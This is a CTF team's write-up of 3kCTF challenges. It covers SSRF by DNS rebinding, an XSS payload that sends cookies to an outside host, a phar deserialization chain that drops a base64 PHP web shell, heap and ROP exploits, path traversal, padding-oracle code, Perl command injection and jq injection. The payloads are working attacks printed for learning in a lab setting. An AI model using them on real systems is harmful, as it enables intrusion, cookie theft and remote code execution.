reporter (Web; 498 points)

Solved by apple.

Author: rekter0

Reporter is an online markdown reporting tool. it's free to use for everyone. there's a secret report we need located here

source

Walkthrough

The application provide markdown hosting service and it will automatically download and embed external images (or any files) to the 'report'.

There are 4 buttons on the interface: Edit, Preview, Save, and Deliver.

The first target of the challenge is to access the secret_report.

curl http://reporter.3k.ctf.to/secret_report
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
...

Well, knew that.

Exploiting TOCTOU of the domain checking

Interesting things happen in backend.php.

if(@$_POST['deliver']){
	$thisDoc=file_get_contents($dir.'/file.html');
	$images = preg_match_all("/<img src=\"(.*?)\" /", $thisDoc, $matches);
	foreach ($matches[1] as $key => $value) {
		$thisDoc = str_replace($value , "data:image/png;base64,".base64_encode(fetch_remote_file($value)) , $thisDoc ) ;
  }

When user click on the deliver button it will get the saved document, fetch_remote_file and embed it to the report with base64. Therefore users can embed images from external image hosting sites such as imgur etc.

How about embedding the secret_report? It does not work as it do a long list of checks:

function fetch_remote_file($url) {
    $config['disallowed_remote_hosts'] = array('localhost');
    $config['disallowed_remote_addresses'] = array("0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/29", "192.0.2.0/24", "192.88.99.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",);

    // ...

    $addresses = get_ip_by_hostname($url_components['host']);
    $destination_address = $addresses[0];

    // ... checks if the destination_address is in the disallowed list ...

    $opts = array('http' => array('follow_location' => 0,));
    $context = stream_context_create($opts);
    return file_get_contents($url, false, $context);
}
function get_ip_by_hostname($hostname) {
    $addresses = @gethostbynamel($hostname);
    if (!$addresses) {
      // ... more attempts to get dns A records ...
    }
    return $addresses;
}

If we change the DNS record very quickly, which the DNS server return 1.1.1.1 at get_ip_by_hostname when it do the checking, and we return 127.0.0.1 at file_get_contents we can access the localhost and maybe we can get the secret_report.

Therefore I wrote a script1 to act as a nameserver and give different responses.

$ dig +short 4kctf.example.com @8.8.8.8
1.1.1.1
$ dig +short 4kctf.example.com @8.8.8.8
127.0.0.1

payload

![](http://4kctf.example.com/secret_report/)

The result is a file listing with two files:

3ac45ca05705d39ed27d7baa8b70ecd560b69902.php
secret2

63b4bacc828939706ea2a84822a4505efa73ee3e.php
not much here

The 3ac45ca05705d39ed27d7baa8b70ecd560b69902.php is suspicious as it have 50 bytes but only 7 bytes returned from server. Maybe the flag is there.

Wonders of PHP: empty("0") == true

I crafted this payload to read the file and get the flag.

![](0:/../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php)

Back to the backend.php fetch_remote_file, besides DNS checking it also parse_url and checks scheme, port, etc.

function fetch_remote_file($url) {
    // ...
    $url_components = @parse_url($url);
    if (!isset($url_components['scheme'])) {
        return false;
    }
    if (@($url_components['port'])) {
        return false;
    }
    if (!$url_components) {
        return false;
    }
    if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
        return false;
    }
    if (array_key_exists("user", $url_components) || array_key_exists("pass", $url_components)) {
        return false;
    }
    // ...
    return file_get_contents($url, false, $context);

parse_url will parse as follows

array(2) {
  ["scheme"]=>
  string(1) "0"
  ["path"]=>
  string(62) "/../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php"
}

Where the scheme will return true for isset and true for empty (empty("0") == true), and for file_get_contents it will recognize 0: as a folder and 0:/../ as current folder.

xsser (Web; 499 points)

Solved by ozetta.

Description

challenge

Author: Dali

Walkthrough

Source code is provided:

<?php
include('flag.php');
class User

{
    public $name;
    public $isAdmin;
    public function __construct($nam)
    {
        $this->name = $nam;
        $this->isAdmin=False;
    }
}

ob_start();
if(!(isset($_GET['login']))){
    $use=new User('guest');
    $log=serialize($use);
    header("Location: ?login=$log");
    exit();

}

$new_name=$_GET['new'];
if (isset($new_name)){


  if(stripos($new_name, 'script'))//no xss :p 
                 { 
                    $new_name = htmlentities($new_name);
                 }
        $new_name = substr($new_name, 0, 32);
  echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
  echo '<h1>Contact admin /req.php </h1>';

}
 if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
            setcookie("session", $flag, time() + 3600);
        }
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
    echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);

From the challenge name it is about XSS. After setting $_GET['login'], you can enter something in $_GET['new'], which is supposed to be reflected on the page for XSS.

Thanks to ob_start(); and ob_end_clean();, nothing about the user input are printed in the normal case.

To address this, we can make the interpreter panic before ob_end_clean();. Maybe unserialize could do so?

But most of the time unserialize just returns FALSE when you input some garbage that is "un-unserialize-able" (pun intended)

Let's try to unserialize some meaningful junks:

<?php
foreach (get_declared_classes() as $c) {
	unserialize('O:'.strlen($c).':"'.$c.'":0:{}');
}

It shows Fatal error: Uncaught Error: Invalid serialization data for DateTime object. So DateTime should do the trick.

How about the actual XSS payload? We can't use <script src=//blah></script>.

For some reason script<script src=//blah></script> could bypass that stripos but it is too long.

Later on I found that /req.php accepts external URLs as well. So we can use some other tricks like window.name:

<script>name='location="//blah/"+document.cookie';location='//127.0.0.1/?new=%3Cbody%20onload=eval(name)%3E&login=O:8:%22DateTime%22:0:%7B%7D';</script>

Remarks

At first I tried the payload with iframe but Chrome blocks the Set-Cookie header due to "third-party cookies preference".

Then I tried the payload with form and Chrome blocks the popup as expected. But for some reason the Headless Chrome works.

image uploader (Web; 498 points)

Solved by ozetta.

Description

challenge

source

Author: Dali

題解 (Walkthrough)

我知你睇唔明廣東話架啦. 今次有翻譯.

I know you don't understand Cantonese. This time got translation.

個 description 得兩條奸笑5678. 是但啦有醬油有計傾.

(Some unimportant gibberish)

一開 index.php 就見到 include('old.php');//todo remove this useless file :\

After opening index.php then we can see that include stuff...

明眼人一睇就知係伏啦. 一睇兩個 Class 重唔係玩 unserialize.

Obviously it is the vulnerable point. It contains 2 classes so obviously it is about unserialize.

碌落 D (唔好譯啦你譯唔到個 D 架啦) 個 index.php 見到 file_get_contents. 條件反射 phar unserialize

Scroll down [Don't translate that "D", you can't] that index.php, we can see file_get_contents. It immediately links to phar unserialize

有個 upload.php 真係可以 upload 野. 不過會 check getimagesizeimage/jpeg

There is an upload.php that can really upload things. But it checks with getimagesize and image/jpeg.

睇返個 old.php, 又係驗眼嘅時間. 最底有個 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; 但係無咩用.

Let's go back to old.php and check our eyesight. The bottom $data = "<?php... looks interesting but unless.

除非個 sprintf('%012d', $expire) 可以整走個 exit() 啦.

Unless sprintf('%012d', $expire) could be used to get rid of that exit().

再碌上 D 見到個詭異嘅 variable function return $serialize($data);. 咁開心.

Scroll up a bit then we can see a weird variable function return $serialize($data);. So exciting.

所以如果將 $this->options['serialize'] 改做 system 就可以行 system.

So if we set $this->options['serialize'] to system then we could run system.

但係個 $data 要點砌呢. 根據所謂 POP 可以 trace 到:

But how can we control $data? According to the so-called Property-Oriented Programming, you can trace like this:

$this->options['serialize']($data) //cl2->serialize

=> $this->serialize($value) //cl2->set

=> $this->store->set($this->key, $this->getForStorage(), $this->expire); //cl1->save

=> return json_encode([$this->cleanContents($this->cache), $this->complete]); //cl1->getForStorage()

首先個 $data 有少少限制. 因為係 json_encode 個 Array.

First, the $data is a bit restricted. Because it is constructed by json_encode-ing an array.

不過你想用 system 行 command 其實可以好求其. 好似咩 $(ls).

But if you just need to use system to execute command, it is pretty flexible. Like using $(ls).

最後可以砌到好似 system('["$(ls)",0]').

At the end of the day we should be able to construct like system('["$(ls)",0]').

要 trigger cl1->save, destructor 個 $this->autosave 要 false.

If you want to trigger cl1->save, in the destructor, $this->autosave should be false.

依家有齊啲餡啦. 要搵返 phar 個 payload.

We are cooking with gas. Now we need to get the phar payload.

邊鬼個會記得點寫. 抄返自己個威噏.

Who the heck will remember how to write the payload. Just copy my own write-up.

https://github.com/ozetta/ctf-challenges/wiki/Envy-(Tangerine)

$p = new Phar('malware.phar'); 果行抄起 (好似係)

Copy the payload starting from $p = new Phar('malware.phar');

上面記得抄返個 Class definition 同埋改晒 D property 佢.

Remember to copy the class definitions and change the properties to the desired one.

getimagesizeimage/jpeg 點算? 求其攝個 jpg 向頭咪得囉.

How to tackle getimagesize and image/jpeg? Just inject a jpg file in front.


Final payload

<?php

class cl1 {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
        //add your own properties
        $this->cache = ['$(echo PD89YCRfR0VUWzBdYDs= | base64 -d > /var/www/html/up/z.php)'];
        $this->autosave = 0;
        $this->complete = 0;
    }
}

class cl2 {
    public function __construct(){
    	//add your own properties
    	$this->options['serialize'] = "system";
    	$this->writeTimes = 0;
     	$this->options['prefix'] = '';
     	$this->options['data_compress'] = 0;
    }
}

$x = new cl1(new cl2(),"z",0);
$p = new Phar('malware.phar');
$p->startBuffering();
$p->addFromString("z","");
$j = file_get_contents("1.jpg");
$p->setStub($j."<?php __HALT_COMPILER(); ? >");
$p->setMetadata($x);
$p->stopBuffering();
$file = file('malware.phar');

之後 upload 個「圖」, 出返個 "filename.jpg". 之後讀 php://filter/convert.base64-encode/resource=phar:///var/www/html/up/filename.

Then upload that "image", will return "filename.jpg". Then access php://filter/convert.base64-encode/resource=phar:///var/www/html/up/filename.

之後點玩自己諗啦. 提示: 估下 PD89YCRfR0VUWzBdYDs= 係咩先.

The rest is left as an exercise for the readers. (Hint: decode PD89YCRfR0VUWzBdYDs=)

Remark

呢題咁易都搞咗我個半鐘真係失敗。

https://twitter.com/confus3r/status/1286850105513930752

慘。早啲起身咪有 First Blood (好似係

carthagods (Web; 496 points)

Author: rekter0, Dali

Salute the carthagods!

Hints

  1. redacted source

Exploit

The challenge provided the redacted sourcecode as hints.

.htaccess

...
RewriteRule ^([a-zA-Z0-9_-]+)$ index.php?*REDACTED*=$1 [QSA]

index.php

...
<?php
  if(@$_GET[*REDACTED*]){
    $file=$_GET[*REDACTED*];
    $f=file_get_contents('thecarthagods/'.$file);
    if (!preg_match("/<\?php/i", $f)){
        echo $f;
    }else{
      echo 'php content detected';
    }
  }
?>
...

The php script accepts user provided $file path without any sanitation, however the GET parameter is redacted.

The .htaccess file rewrite the path to index.php with the GET parameter. Lets try the folder thecarthagods as shown in the php file.

curl http://carthagods.3k.ctf.to:8039/thecarthagods

We got the token

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://carthagods.3k.ctf.to:8039/thecarthagods/?eba1b61134bf5818771b8c3203a16dc9=thecarthagods">here</a>.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at carthagods.3k.ctf.to Port 8039</address>
</body></html>

With the token we can do path traversal

curl "http://carthagods.3k.ctf.to:8039/index.php?eba1b61134bf5818771b8c3203a16dc9=../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

However we cannot print the content of flag.php directly

curl "http://carthagods.3k.ctf.to:8039/index.php?eba1b61134bf5818771b8c3203a16dc9=../flag.php"
<textarea class="label-input100" style="color:black;width: 100%;height: 300px;">php content detected             </textarea>

From the phpinfo provided we can know opcache is enabled, with opcache.file_cache set to /var/www/cache/. Maybe we can get the compiled version of flag.php and get its content.

The opcache will store the cache in the format /var/www/cache/<system_id>/path/to/file.php.bin, with system ID generated from PHP version, Zend version etc. Therefore, I spin up a Ubuntu VM and install the same version of php, enable opcache to get the same system ID.

The system ID is: e2c6579e4df1d9e77e36d2f4ff8c92b3

curl "http://carthagods.3k.ctf.to:8039/index.php?eba1b61134bf5818771b8c3203a16dc9=../../../../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin" --output -
...
<textarea class="label-input100" style="color:black;width: 100%;height: 300px;">OPCACHEe2c6579e4df1d9e77e36d2f4ff8c92b3�x��_Jqҍ@������������������������_���Ӛ��_/var/www/html/flag.php������/var/www/html/flag.php1����q��������d!=
VPyi0���Y�Į��{�opcache_get_statush���JK��&3k{Hail_the3000_years_7hat_are_b3h1nd}`Lq�(��<iframe width="560" height="315" src="https://www.youtube.com/embed/y8zZXMLBin4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>֖|�flag                                          </textarea>
...

linker (Pwn; 493 points)

Solved by cire meat pop.

Program

root@kali:~/3kctf/linker# ./linker
Welcome to your secret journal!
Provide name size:
8
Provide a name:
abcd
Welcome abcd
! What would you like to do?
1- Get new blank page
2- Edit page content
3- Empty a page
4- Relogin
5- Exit
> 

This seems to be a heap challenge, which allow user to create, edit and free a chunk. Also, it provides a weird function (i.e., relogin) for changing the name which does nothing to the other functions, and usually means it will be used for later exploit.

Vulnerability

In 3- Empty a page:

puts("Provide page index:");
read(0, &buf, 4uLL);
idx = atoi(&buf);
if ( idx < 0 || idx > 4 )
{
  puts("Wrong index kiddo...");
}
else if ( check_pages[idx] )
{
  free(pages[idx]);
  check_pages[idx] = 0; // vuln
  --number_pages;
}

After freed a chunk, only the check[idx] is set to 0; and in Edit page content:

puts("Provide page index:");
read(0, &buf, 4uLL);
idx = atoi(&buf);
if ( idx < 0 || idx > 4 )
{
  puts("Wrong index kiddo...");
}
else if ( pages[idx] ) // not checked
{
  puts("Provide new page content:");
  read(0, pages[idx], (int)page_size[idx]);
}

Edit function won't check check[idx], which means we can overwrite a free chunk.

Exploit

As we can overwrite any data into the free chunk, we can perform some attack to overwrite __malloc_hook or __free_hook with one gadget rce.

However, we had two problems.

  • tcache techniques won't work with calloc
    • Solution: We filled up tcache and perform fastbin attack.
  • Theres are no show functions to leak libc addresses
    • Solution: We utilize unsorted bin attack to write unsorted bin address to name, then relogin to print the content of name.

Problem

can't access tty; job control turned off

Will this means we can't open the shell? Whatever, we change the approach from utilizing one gadget RCE to calling the system function. We can overwrite __free_hook with system, then free a chunk with content /bin/cat flag, yielding system("/bin/cat flag"). However, if we want control __free_hook, we need to try harder. Finally, we perform fastbin attack to control pages and check_pages, edit the pointer of each page to an arbitrary address, and eventually we have arbitrary address write.

3k{unlink_the_world_and_feel_the_void}

one and a half man (Pwn; 493 points)

Solved by cire meat pop.

Program

ssize_t vuln()
{
  char buf; // [rsp+6h] [rbp-Ah]

  return read(0, &buf, 0xAAuLL);
}

This is a short function that obviously vulnerable to buffer overflow. I have solved similar challenge before, and my approach was to overwrite first 2 byte the read_got to run one gadget RCE. It involves 4 bit randomness to satisfy, hence I have a 1/16 chance to solving it. It works, but can't access tty; job control turned off. Okay, I shouldn't forgot shell interaction is disabled from this server.

Exploit

I find a syscall near the one gadget RCE so that we can jump to syscalls. It's time to construct ROP:

mov eax, 0 ; pop rbp ; ret           g1(in binary)
mov edx, eax ; mov eax, edx ; ret      (in libc)
pop rdi; ret                           (in binary)
pop rsi; pop r15; ret                  (in binary)
move eax, 0x3b; syscall                (in libc)

By this ROP chain we can set edx (the third argument) to 0, control rdi and rsi (the first and the second arguments) and call sys_execve.

sys_execve(*filename, argv[], envp[])

To cat flag:

sys_execve('/bin/cat', ['/bin/cat', 'flag'], 0)

Finally our script:

payload = "a"*18 + flat(pop_rsi_r15, buf, 0, read_plt, vuln)
p.send(payload)
sleep(0.5)
string = "/bin/cat".ljust(0x10,"\x00")+p64(buf)+p64(buf+0x28) \
            +p64(0)+"flag"+"\x00"*4
p.send(string)
sleep(0.5)

payload2 = flat(pop_rsi_r15, setvbuf_got, 0, read_plt, pop_rsi_r15, read_got, \
                0, read_plt, g1, buf, setvbuf_plt, pop_rdi, buf, pop_rsi_r15, \
                buf+0x10, 0, read_plt)
                ret
p.send("a"*18 + payload2)
sleep(0.5)
p.send("\x5b\xd6") # (in libc) mov edx, eax ; mov eax, edx ; ret
sleep(0.5)
p.send("\x72\x04") # (in libc) move eax, 0x3b; syscall
sleep(0.5)

p.interactive()

3k{one_byte_and_a_half_overwrite_ftw!}

microscopic (Reverse; 488 points)

Solved by Mystiz.

Open with IDA pro. There is a curious function defined on sub_F7C:

unsigned __int64 __fastcall sub_F7C(unsigned int a1)
{
  case 3:
    // ...
    // v3 hereby is the length of the length of the target ciphertext
    ciphertext[v2] = (v3 ^ input[v12]) + v2;
    // ...
    break;
  case 4:
    // ...
    v9 = ciphertext[v12] != target_ciphertext[v12];
    // ...
    break;
}

Hereby target_ciphertext is is an array of 39 integers, located on 0x202020. We can simply write a Python script that extract target_ciphertext and compute the corresponding input.

elf = ELF('challenge/micro')
target = elf.read(0x202020, 39*4)
target = [unpack('I', target[4*i:4*i+4])[0] for i in range(39)]

target = [(c-i)^39 for i, c in enumerate(target)]
print(bytes(target))
# 3k{nan0mites_everywhere_everytime_ftw!}

game (Reverse/Misc; 486+477 points)

Solved by eriri.

game 1
find your way to the heart of the maze

game 2
the shortest route is often the best

You are given an Unity game folder at the beginning. When you start the game, you are in a dark maze. You can walk but not jump nor run. Nothing will be triggered when you walk out of the maze.

I think there should be multiple ways to solve the challenge. One solution will be physcially break the maze. How to do that? By deleting the walls object in the level.

With Unity Assets Bundle Extractor, we are able to delete walls in /CTF_Data/level0 (which is level of the maze).

After deleting some of the wall objects (for me I selected the GameObject Wall with number greater than 100) and returning to the game, you will find a wall that marks the flag for game 2:

There are some characters missing in the wall because we deleted some of the characters by accident. We did a bit of guess and finally got the flag: 3K-CTF-A-MAZE-ING.

There are also some floating walls inside the maze. When you walk through it you will get a word overlayed on the top left corner.

Decompiling /CTF_Data/Managed/Assembly-CSharp.dll will get you the logic of the game.

If you find and hit the 6 walls with the right order (I guess it should be the shortest path from the starting point to the flag room), the game will output you a flag. If not, an error message will be displayed.

Here in UABE we found 6 assets with duplicated names. It should correspond to the 6 floating walls in the game.

After some tries (with a bit of luck), we were able to get the flag for game 1.

Flag: 3K-CTF-GamingIsNotACrime.

Reference: https://github.com/imadr/Unity-game-hacking

pyzzle (Reverse/Misc/Crypto; 459+479 points)

Solved by crabmony and Mystiz.

Part 1

We are given a concrete syntax tree that is from LibCST.

We referred to the documentation and traverse the tree manually. Eventually we have manually parsed the tree into a Python script:

import binascii

plaintext = 'REDACTED'

def exor(a, b):
    temp = ""
    for i in range(n):
        if a[i] == b[i]:
            temp = 0
        else:
            temp = 1
    return temp

def BinaryToDecimal(binary):
    string = int(binary, 2)
    return string

PT_Ascii = [ord(x) for x in plaintext]
PT_Bin = [format(y, '08b') for y in PT_Ascii]
PT_Bin = "".join(PT_Bin)
n = 26936
K1 = '...' # Redacted as this binary string is too long.
K2 = '...' # Ditto
L1 = PT_Bin[:n]
R1 = PT_Bin[n:]
f1 = exor(R1,K1)
R2 = exor(f1, L1)
L2 = R1
f2 = exor(R2, K2)
R3 = exor(f2, L2)
L3 = R2
R3 = '...' # Ditto
L3 = '...' # Ditto
cipher = L3 + R3
plaintext = L6 + R6
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)
print(plaintext)

Since we are given everything (except the plaintext), we are able to recover the plaintext by reversing the operations. We ended up with a STP file that contains the flag: 3k{almost_done_shizzle_up_my_nizzle}.

Part 2

From the STP file, apart from the flag, we have a bunch of nodes and edges. This part we are connecting the dots with Python:

def parse_line(line):
  return list(map(int, line.split(' ')[1:]))

def main():
  with open('pyzzle2') as f:
    lines = f.read().strip().split('\n')
  
  edges = list(map(parse_line, lines[8:124]))
  points = list(map(parse_line, lines[127:271]))
  point_map = {}
  for id, x, y in points:
    point_map[id] = (x, y)

  im = Image.new('1', (1850, 110), color=1)
  draw = ImageDraw.Draw(im)
  
  for id1, id2, _ in edges:
    x1, y1 = point_map.get(id1)
    x2, y2 = point_map.get(id2)
    draw.line((x1, y1, x2, y2), fill=0)

  im.save('flag.png')

main()

Flag: 3K-PYZZLE_FO_SHIZZLE_MY_NIZZLE.

A hundred friends (Crypto; 496 points)

Solved by Mystiz.

key = RSA.generate(1024)
pad = random.randint(1, 2**UPPER_BOUND)
exp = random.randint(1, 3)
c = pow(m**exp + pad, 3, key.n)

This is a challenge similar to Multicast in PlaidCTF 2017. Theoretically, we should be able to recover the original message with 3 ciphertexts, assuming that those ciphertexts are encrypted with exp = 1.

We have written the core logic to retrieve the message, given some ciphertexts:

def attempt(subpairs):
  n = len(subpairs)

  # (m + pi)^3 = ci (mod ni)
  cs = list(map(lambda pair: pair[0], subpairs))
  ns = list(map(lambda pair: pair[1], subpairs))
  ps = list(map(lambda pair: pair[2], subpairs))
  nprod = reduce(mul, ns)

  gs = [[0 for _ in range(n)] for _ in range(3+1)]
  for i in range(n):
    for j in range(3+1):
      gs[j][i] = binomial(3, j) * pow(ps[i], j, nprod) % ns[i]
    gs[3][i] = ((gs[3][i] - cs[i]) % ns[i] + ns[i]) % ns[i]

  gg = [int(crt(gs[i], ns)) for i in range(3+1)]
  
  # Defines e, Zn = Zmod(nprod) and the parameters for the
  # Coppersmith's attack here. Omitted

  roots = coppersmith_howgrave_univariate(pol, nprod, beta, mm, tt, XX)
  if len(roots) > 0:
    return roots[0]

(Some functions are copied from mimoo/RSA-and-LLL-attacks. They are not included here for simplicity)

However, we are unable to recover the message from sampling three ciphertexts in 100 rounds (it should happen in around 27 rounds). The reason is the message isn't small enough for Coppersmith's attack. Hence, we are sampling more ciphertexts (from 3 to 5) and the attack worked:

n = 5
attempt_count = 0
while True:
  random.shuffle(pairs)
  subpairs = pairs[:n]
  attempt_count += 1
  if attempt_count % 100 == 0:
    print(f'Attempt {attempt_count}')

  m = attempt(subpairs)
  if m is None: continue
  m = int(m)
  flag = m.to_bytes(length=(m.bit_length() + 7)//8, byteorder='big')
  print(subpairs)
  print(flag)
  break

# b'3k{H4st4d_St1ll_Rul3S}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Note that there is a chance to return m^2 or m^3. As I am lazy, I just run the script again until it returns m.

RSA textbook (Crypto; 496 points)

Solved by Mystiz.

This challenge is similar to De1CTF's easyRSA. By reading the same reference paper [Howgrave-Graham 1999], we have the matrix in session 3.3. By using the matrix directly and perform LLL, we can recover d1 (the private key that corresponds to e1). We can then recover phi(n) and thus compute d (that corresponds to e), hence decrypting the ciphertext: 3k{hOwGr4v3_gr4h4m_and_s31F3rt_4re_C00l}AAAAAAAAAAAAAAAAAAAA.

You shall not get my cookies (Crypto; 495 points)

Solved by Mystiz.

This is a standard padding oracle attack.

def connect():
  HOST = 'youshallnotgetmycookies.3k.ctf.to'
  PORT = 13337

  global debug
  if debug:
    context.log_level = 'debug'
  else:
    context.log_level = 'error'

  r = remote(HOST, PORT)
  return r

def oracle(ciphertext):
  r = connect()
  payload = binascii.hexlify(ciphertext)
  r.sendlineafter(b'~ So... whats your cookie:', payload)
  r.recvuntil(b'~ ')
  res = r.recvline().strip()
  r.close()
  return res != b'That cookie looks burned!'

def main():
  ciphertext = binascii.unhexlify('90C560B2A01529EF986E54B016E1FEAAD79A54BE52B373311E3B4F8251BE269EC199AE6B370BFCE50A54EEC25ABB0F22')

  po = PaddingOracle(oracle, threads=16)

  plaintext = po.recover(ciphertext)
  print(plaintext) # b' chocolate chip cookie\n\n\n\n\n\n\n\n\n\n'

  ciphertext = po.forge(b'Maple Oatmeal Biscuits' + b'\x0a' * 10)

  r = connect()
  r.sendlineafter(b'~ So... whats your cookie:', binascii.hexlify(ciphertext))
  r.interactive()
  # ~ YES, that is exactly what i wanted!
  # ~ Take it! 3k{Y3t_An0th3r_Padd1ng_Oracle}
  
main()

once upon a time (Crypto; 492 points)

Solved by Mystiz.

With a bit of code review, it is running a block cipher with block size = 1 (Source: the encrypt_file method in /src/cipher.c). The key is also redacted from the source (Source: /src/main.c). Moreover, surprisingly, the key is not redacted from the binary.

*(_QWORD *)v45      = '\x01\0\0\0\x01\x01\x01\0';
*(_QWORD *)&v45[8]  = '\x01\0\x01\0\0\x01\x01\0';
*(_QWORD *)&v45[16] = '\x01\0\x01\0\x01\0\0';
*(_QWORD *)&v45[24] = '\x01\x01\x01\x01\x01\0\0\x01';
*(_QWORD *)&v45[32] = '\x01\0\0\0\0\0\x01\x01';

But if you think I am going to reverse the algorithm, you are wrong. I'm just using the binary as an encryption oracle.

def encrypt(plaintext, mode):
  context.log_level = 'error'

  with open('plaintext', 'wb') as f:
    f.write(plaintext)
  r = process(['challenge/scss', 'plaintext', 'ciphertext', 'encrypt', mode])
  r.wait_for_close()
  r.close()
  with open('ciphertext', 'rb') as f:
    ciphertext = f.read()
  return ciphertext

def recover(target_ciphertext, mode):
  message = b''
  for i in range(len(target_ciphertext)):
    for j in range(256):
      plaintext = message + bytes([j])
      ciphertext = encrypt(plaintext, mode)
      if target_ciphertext.startswith(ciphertext):
        message = plaintext
        print(i, message)
        break
  return message

def main():
  with open('challenge/flag_encrypted', 'rb') as f:
    target_ciphertext = f.read()

  # print(recover(target_ciphertext, 'ecb'))
  # print(recover(target_ciphertext, 'cbc'))
  # print(recover(target_ciphertext, 'cfb'))

  print(recover(target_ciphertext, 'ofb'))
  # b'3k{my_hands_are_registered_as_lethal_weapons_that_means_we_get_into_a_fight_i_accidentally_kill_you_i_go_to_jail}'

flood (Misc; 495 points)

Solved by Mystiz.

We have a service running remotely. The source code, service.pl, is given to us. Perl sadness2 strikes back...

Obviously, we can actually earn more gold by selling gold. From the source code:

print "? how much gold u wanna spend\n";
print "! 1 GOLD = 1000 POINTS\n> ";
my $subm = <STDIN>;
chomp $subm;
if( ($subm) <= $gold  and int($subm)>=0){
  $gold   -= ($subm);
  $points += ($subm)*1000;
}

Why? We can set $subm = -0.9999... In this case we can generate as much gold as we want.

Another vulnerability comes from theh following line that runs during load game. This API opens if you are rich enough -- well, we are.

# $name is what we can control. However, `.`, `/` and ` ` are forbidden.
open (SAVEGAME, "/app/files/".$name) or break;

How? For example, if $name = "||ls|"; it executes ls from shell. But what if we want to execute ls / given that and / are forbidden? In short, we can use \t (<TAB>) in place of the (<SPACE>), and $(expr\tsubstr\t$PWD\t1\t1) in place of /.

Hence, we can send use ||ls\t"$(expr\tsubstr\t$PWD\t1\t1)"\t-al| as our name and the directory can be listed. The following line is curious...

-rw-r--r--   1 root root    30 Jul 23 14:26 fcad0373020fa6ede979389f558b396f4cd38ec1_README'

We can use cat /fcad0373020fa6ede979389f558b396f4cd38ec1_README (with the above substitution) as our name. Finally the flag is there: 3k{p333rl_aInt_7hat_deAd_Y3t}.

libcDB (Misc; 494 points)

We are given a libc database search (which looks useful and we should definitely have one ourselves!). Playing with the API we have met the following error:

> .search fprintf 0x4b970 ..
jq: error: Invalid numeric literal at EOF at line 1, column 3 (while parsing '...') at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ...                                                                                              
jq: 1 compile error

If we have to make an educated guess on the actual query, it would be:

jq '. as $maindb | .libcDB[] | select(.symbol=="[SYMBOL]") \
   | select(.address|contains("[ADDR]")) | .[FILTER]' test.json

Read along the documentation of jq, we have experimented around:

> .search fprintf 0 |$maindb|keys|{id:.[]}
Found:
	id		libcDB
Found:
	id		users
> .search fprintf 0 |$maindb.users[]|keys|{id:.[]}
Found:
	id		password
Found:
	id		username
> .search fprintf 0 |$maindb.users[]|{id:.username,symbol:.password}
Found:
	id		3k
	symbol		notaflag
Found:
	id		James
	symbol		Hetfield
Found:
	id		Lars
	symbol		Ulrich
Found:
	id		Dead
	symbol		pool
Found:
	id		admin
	symbol		v3ryL0ngPwC4nTgu3SS0xfff
Found:
	id		jim
	symbol		carrey

Okay. Great, we have the credentials of the admin. Connecting to the service again, and this time we are signing in with it.

$ nc libcdb.3k.ctf.to 7777
Login    > admin
Password > v3ryL0ngPwC4nTgu3SS0xfff
Authenticated {"users":{"username":"admin","password":"v3ryL0ngPwC4nTgu3SS0xfff"}}
                            
 __    _ _       ____  _____ 
|  |  |_| |_ ___|    \| __  |
|  |__| | . |  _|  |  | __ -|
|_____|_|___|___|____/|_____|
                         as a service

Type .help for help

> .secret
3k{jq_is_r3ally_HelpFULL_3af4bcd97f5}